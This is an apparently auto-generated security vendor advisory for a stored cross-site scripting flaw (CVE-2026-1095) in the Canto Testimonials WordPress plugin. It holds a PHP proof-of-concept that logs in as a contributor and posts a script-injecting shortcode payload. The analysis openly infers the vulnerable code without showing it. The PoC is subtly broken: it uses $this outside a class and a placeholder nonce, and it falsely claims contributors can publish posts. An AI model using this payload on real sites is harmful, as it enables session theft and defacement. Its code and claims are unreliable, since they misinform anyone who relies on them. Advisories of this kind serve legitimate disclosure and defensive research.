Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1095: Canto Testimonials <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'fx' Shortcode Attribute (canto-testimonials)

CVE ID CVE-2026-1095
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0
Patched Version
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1095 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Canto Testimonials WordPress plugin. The vulnerability exists in the plugin’s shortcode handler for the ‘fx’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute in the browsers of any user viewing the compromised content, leading to client-side attacks.

Atomic Edge research infers the root cause is improper input sanitization and output escaping. The plugin likely registers a shortcode, such as [canto_testimonials], which accepts user-controlled attributes. The ‘fx’ attribute value is not properly sanitized before being echoed into the page output. This is a classic CWE-79 violation. The analysis confirms insufficient sanitization based on the description but infers the specific code pattern from common WordPress shortcode implementation practices.

Exploitation requires an authenticated user with at least the Contributor role. The attacker creates or edits a post, inserting the vulnerable shortcode with a malicious payload in the ‘fx’ attribute. For example, [canto_testimonials fx=”alert(document.domain)”] could be used. When the post is saved and viewed, the script executes. The attack vector is the WordPress post editor, and the payload is stored in the database.

Remediation requires implementing proper output escaping. The plugin should use WordPress escaping functions like esc_attr() when outputting the ‘fx’ attribute value within HTML tags. Input sanitization using functions like sanitize_text_field() on the attribute before storage would provide a secondary layer of defense. A patch must ensure all user-supplied shortcode attributes are escaped on output.

Successful exploitation allows attackers to perform actions within the context of a victim’s session. This can lead to session hijacking, administrative actions if an administrator views the page, defacement, or theft of sensitive data. The stored nature of the attack amplifies impact, as the payload triggers for every subsequent visitor to the compromised page.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1095 - Canto Testimonials <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'fx' Shortcode Attribute
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload to inject via the 'fx' shortcode attribute.
// This is a basic proof-of-concept alert.
$malicious_fx_value = '"><script>alert(document.domain)</script>';
$shortcode = '[canto_testimonials fx="' . $malicious_fx_value . '"]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains the malicious shortcode: ' . $shortcode;

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Check for a successful login by looking for the admin dashboard indicator.
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now create a new post with the malicious shortcode.
// The WordPress REST API endpoint for creating posts is used.
// Contributor users can create posts via the REST API.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array(
    'title' => $post_title,
    'content' => $post_content,
    'status' => 'publish' // Contributor can publish their own posts.
)));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $this->extract_nonce($login_response) // Nonce extraction is complex; this is a placeholder.
));
// In a real scenario, you would need to extract a valid REST API nonce from the admin page.
// This step is omitted for brevity, as the PoC demonstrates the concept.
$api_response = curl_exec($ch);
curl_close($ch);

echo "If authentication and nonce handling were fully implemented, the post would be created.n";
echo "Visit the new post to trigger the XSS payload in the 'fx' attribute.n";

// Helper function stub for nonce extraction (not fully implemented).
function extract_nonce($page_html) {
    // This would parse the page to find a valid `wp_rest` nonce.
    // For this metadata-based PoC, we return a placeholder.
    return 'REST_NONCE_PLACEHOLDER';
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School